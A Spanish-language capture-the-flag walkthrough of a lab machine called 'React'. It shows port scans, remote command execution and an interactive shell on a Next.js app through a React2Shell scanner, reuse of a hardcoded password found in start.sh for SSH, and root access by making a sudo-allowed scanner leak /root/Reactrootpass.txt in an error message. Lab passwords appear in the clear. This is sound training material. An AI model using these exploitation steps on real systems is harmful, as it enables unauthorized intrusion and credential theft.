Reconocimiento
Comenzamos identificando la dirección IP de la máquina víctima dentro de la red local:
❯ arp-scan --interface=wlo1 --localnet | grep PCS
192.168.1.233 08:00:27:f9:dc:30 PCS Systemtechnik GmbHCon la IP confirmada, lanzamos un barrido completo de puertos TCP. El escaneo revela tres puertos abiertos: 22, 80 y 3000:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.233
[sudo] password for wh01s17:
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-01 00:01 -0300
Nmap scan report for 192.168.1.233
Host is up (0.00010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
MAC Address: 08:00:27:F9:DC:30 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.80 secondsRealizamos un segundo escaneo, más dirigido, para identificar los servicios y sus versiones:
❯ nmap -sCV -p 22,80,3000 -oN 02-targeted.txt 192.168.1.233
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-01 00:02 -0300
Nmap scan report for 192.168.1.233
Host is up (0.00025s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: \xE7\xBD\x91\xE7\xBB\x9C\xE8\xAF\x8A\xE6\x96\xAD\xE5\xB7\xA5\xE5\x85\xB7
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "vhwrqricd17bt"
| Content-Type: text/html; charset=utf-8
| Content-Length: 9497
| Date: Thu, 01 Oct 2026 03:02:44 GMT
| Connection: close
| <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="preload" as="image" href="/next.svg"/><link rel="stylesheet" href="/_next/static/css/97f208c543225968.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-744ee3f145013e34.js"/><script src="/_next/static/chunks/4bd1b696-6985518451956beb.js" async=""></script><script src="/_next/static/chunks/215-
| HTTPOptions, RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Thu, 01 Oct 2026 03:02:44 GMT
| Connection: close
| Help, NCP:
| HTTP/1.1 400 Bad Request
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.991%I=7%D=10/1%Time=6ABDCD54%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,1C48,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-
SF:State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x
SF:20Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201
SF:\r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\n
SF:Cache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"vhwrqricd17bt\"\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x209
SF:497\r\nDate:\x20Thu,\x2001\x20Oct\x202026\x2003:02:44\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta
SF:\x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\"/><link\x20rel=\"preload\"\x20as=\"imag
SF:e\"\x20href=\"/next\.svg\"/><link\x20rel=\"stylesheet\"\x20href=\"/_nex
SF:t/static/css/97f208c543225968\.css\"\x20data-precedence=\"next\"/><link
SF:\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20href=\
SF:"/_next/static/chunks/webpack-744ee3f145013e34\.js\"/><script\x20src=\"
SF:/_next/static/chunks/4bd1b696-6985518451956beb\.js\"\x20async=\"\"></sc
SF:ript><script\x20src=\"/_next/static/chunks/215-")%r(Help,2F,"HTTP/1\.1\
SF:x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HT
SF:TP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HT
SF:TPOptions,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20N
SF:ext-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-
SF:Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20privat
SF:e,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\
SF:x20Thu,\x2001\x20Oct\x202026\x2003:02:44\x20GMT\r\nConnection:\x20close
SF:\r\n\r\n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvar
SF:y:\x20RSC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-
SF:Router-Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Con
SF:trol:\x20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-reval
SF:idate\r\nDate:\x20Thu,\x2001\x20Oct\x202026\x2003:02:44\x20GMT\r\nConne
SF:ction:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.51 secondsEnumeración web
Revisamos primero el sitio web del puerto 80: 
Después accedemos al puerto 3000, donde encontramos una aplicación en Next.js, tal como sugería la cabecera X-Powered-By del escaneo: 
Explotación de React2Shell
Comprobamos si la aplicación es vulnerable a React2Shell (CVE-2025-55182) utilizando el scanner React2Shell Ultimate:
❯ python react2shell-ultimate.py -u http://192.168.1.233:3000
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \ ___ __ _ ___| |_|__ \/ ___|| |__ ___| | | ║
║ | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v2.0.0 ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ Author: Satyam Rastogi (@hackersatyamrastogi) ║
║ https://github.com/hackersatyamrastogi ║
╠════════════════════════════════════════════════════════════════════════╣
║ Modes: --safe (side-channel) | --rce (PoC) | --version | --local ║
║ WAF Bypass: --waf-bypass | --vercel-bypass | --unicode ║
╚════════════════════════════════════════════════════════════════════════╝
[*] Scanning 1 host(s)
[*] Threads: 10, Timeout: 10s
[VULNERABLE] http://192.168.1.233:3000
Version: detected (version unknown) | Status: 500 | Method: safe_side_channel
============================================================
SCAN SUMMARY
============================================================
Total hosts: 1
Vulnerable: 1
Not vulnerable: 0
Errors: 0
============================================================El scanner señala el objetivo como vulnerable. Para confirmar que el resultado permite ejecutar comandos, probamos con id:
❯ python react2shell-ultimate.py --god -u http://192.168.1.233:3000 --cmd id
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \ ___ __ _ ___| |_|__ \/ ___|| |__ ___| | | ║
║ | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v2.0.0 ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ Author: Satyam Rastogi (@hackersatyamrastogi) ║
║ https://github.com/hackersatyamrastogi ║
╠════════════════════════════════════════════════════════════════════════╣
║ ███ GOD MODE ACTIVE - AUTHORIZED RED TEAM USE ONLY ███ ║
╠════════════════════════════════════════════════════════════════════════╣
║ ⚠️ WARNING: This mode enables full command execution on targets. ║
║ ⚠️ Only use on systems you have EXPLICIT WRITTEN AUTHORIZATION. ║
║ ⚠️ Unauthorized access is a federal crime (CFAA, CMA, etc.) ║
╚════════════════════════════════════════════════════════════════════════╝
[*] Executing command: id
[*] Target: http://192.168.1.233:3000
============================================================
COMMAND OUTPUT
============================================================
uid=1000(bot) gid=1000(bot) groups=1000(bot)
============================================================
[✓] Command executed successfully!La ejecución de id confirma que podemos ejecutar comandos en el servidor con los permisos del usuario bot.
Abrimos el modo de shell de la misma herramienta y listamos el contenido del directorio actual:
❯ python react2shell-ultimate.py --god -u http://192.168.1.233:3000 --shell
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \ ___ __ _ ___| |_|__ \/ ___|| |__ ___| | | ║
║ | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v2.0.0 ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ Author: Satyam Rastogi (@hackersatyamrastogi) ║
║ https://github.com/hackersatyamrastogi ║
╠════════════════════════════════════════════════════════════════════════╣
║ ███ GOD MODE ACTIVE - AUTHORIZED RED TEAM USE ONLY ███ ║
╠════════════════════════════════════════════════════════════════════════╣
║ ⚠️ WARNING: This mode enables full command execution on targets. ║
║ ⚠️ Only use on systems you have EXPLICIT WRITTEN AUTHORIZATION. ║
║ ⚠️ Unauthorized access is a federal crime (CFAA, CMA, etc.) ║
╚════════════════════════════════════════════════════════════════════════╝
╔════════════════════════════════════════════════════════════════════════╗
║ INTERACTIVE SHELL - GOD MODE ║
╠════════════════════════════════════════════════════════════════════════╣
║ Target: http://192.168.1.233:3000 ║
╠════════════════════════════════════════════════════════════════════════╣
║ Commands: ║
║ • Type any shell command to execute (ls, whoami, id, cat, etc.) ║
║ • 'read <file>' - Read file contents (e.g., read /etc/passwd) ║
║ • 'download <remote> <local>' - Download file to local ║
║ • 'help' - Show this help ║
║ • 'exit' or 'quit' - Exit interactive shell ║
╚════════════════════════════════════════════════════════════════════════╝
[*] Testing target exploitability...
[✓] Target is exploitable! User: uid=1000(bot) gid=1000(bot) groups=1000(bot)
react2shell:192.168.1.233:3000$ ls
[*] Executing: ls
app
eslint.config.mjs
next.config.ts
next-env.d.ts
node_modules
package.json
package-lock.json
postcss.config.mjs
public
README.md
start.sh
tsconfig.jsonEntre los archivos de la aplicación encontramos start.sh. Lo revisamos en busca de información útil sobre el arranque del servicio:
react2shell:192.168.1.233:3000$ cat start.sh
[*] Executing: cat start.sh
#!/bin/bash
export HOST=0.0.0.0
export PORT=3000
export BOTPASSWORD=lMmqr98vg3Ke1Mu4hJwN
npm startAcceso por SSH
El script define la variable BOTPASSWORD con el valor lMmqr98vg3Ke1Mu4hJwN. Probamos esa contraseña por SSH con el usuario bot para comprobar si se reutiliza en el sistema:
❯ ssh bot@192.168.1.233
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
bot@192.168.1.233's password: lMmqr98vg3Ke1Mu4hJwN
Linux React 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Sep 30 23:58:41 2026 from 192.168.1.54
bot@React:~$La autenticación funciona: conseguimos una sesión SSH como bot y recuperamos la primera flag.
Escalada de privilegios
Ya dentro del sistema, revisamos los permisos de sudo en busca de una vía de escalada:
bot@React:~$ sudo -l
Matching Defaults entries for bot on React:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User bot may run the following commands on React:
(ALL) NOPASSWD: /opt/react2shell/scanner.py
(ALL) NOPASSWD: /usr/bin/rm -rf /
bot@React:~$La regla NOPASSWD nos permite ejecutar /opt/react2shell/scanner.py como root sin contraseña. Revisamos las opciones del script y observamos que -l permite indicar un archivo con una lista de objetivos:
bot@React:/opt/react2shell$ ./scanner.py
usage: scanner.py [-h] (-u URL | -l LIST) [-t THREADS] [--timeout TIMEOUT] [-o OUTPUT] [--all-results] [-k] [-H HEADER] [-v] [-q] [--no-color] [--safe-check] [--windows]
[--waf-bypass] [--waf-bypass-size KB]
scanner.py: error: one of the arguments -u/--url -l/--list is requiredPara ampliar la enumeración local, ejecutamos linpeas.sh. En la sección «Executable files potentially added by user» aparece el binario /usr/bin/check_key, además de los scripts de React2Shell:
╔══════════╣ Executable files potentially added by user (limit 70) (T1083)
2025-12-13+23:00:29.2705687710 /usr/bin/check_key
2025-12-13+22:51:20.6802629150 /opt/react2shell/scanner.py
2025-12-13+22:31:57.8558796180 /opt/react2shell/scanner_with_rce.pyRevisamos las cadenas legibles de /usr/bin/check_key con strings:
bot@React:/opt/react2shell$ strings /usr/bin/check_key
...
cp /root/Reactrootpass.txt /opt
...Encontramos una cadena que contiene el comando cp /root/Reactrootpass.txt /opt. Aunque strings no demuestra que el programa llegue a ejecutarlo, nos da una pista concreta: un archivo en /root cuyo nombre sugiere que contiene la contraseña de ese usuario.
Aprovechamos que podemos ejecutar scanner.py como root y pasamos ese archivo al parámetro -l. El scanner interpreta sus líneas como objetivos y, al intentar conectarse, muestra el valor leído en el mensaje de error:
bot@React:/opt/react2shell$ sudo ./scanner.py -l /root/Reactrootpass.txt
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[ERROR] To75CuOTHLA7BMmH5Puv - Connection Error: HTTPSConnectionPool(host='to75cuothla7bmmh5puv', port=443): Max retries exceeded with url: / (Caused by NameResolutionError("HTTPSConnection(host='to75cuothla7bmmh5puv', port=443): Failed to resolve 'to75cuothla7bmmh5puv' ([Errno -2] Name or service not known)"))
============================================================
SCAN SUMMARY
============================================================
Total hosts scanned: 1
Vulnerable: 0
Not vulnerable: 1
Errors: 0
============================================================El error revela el valor To75CuOTHLA7BMmH5Puv. Probamos si corresponde a la contraseña de root:
bot@React:/opt/react2shell$ su root
Password: To75CuOTHLA7BMmH5Puv
root@React:/opt/react2shell#La contraseña es válida y obtenemos una shell como root. Recuperamos la flag final, y fin.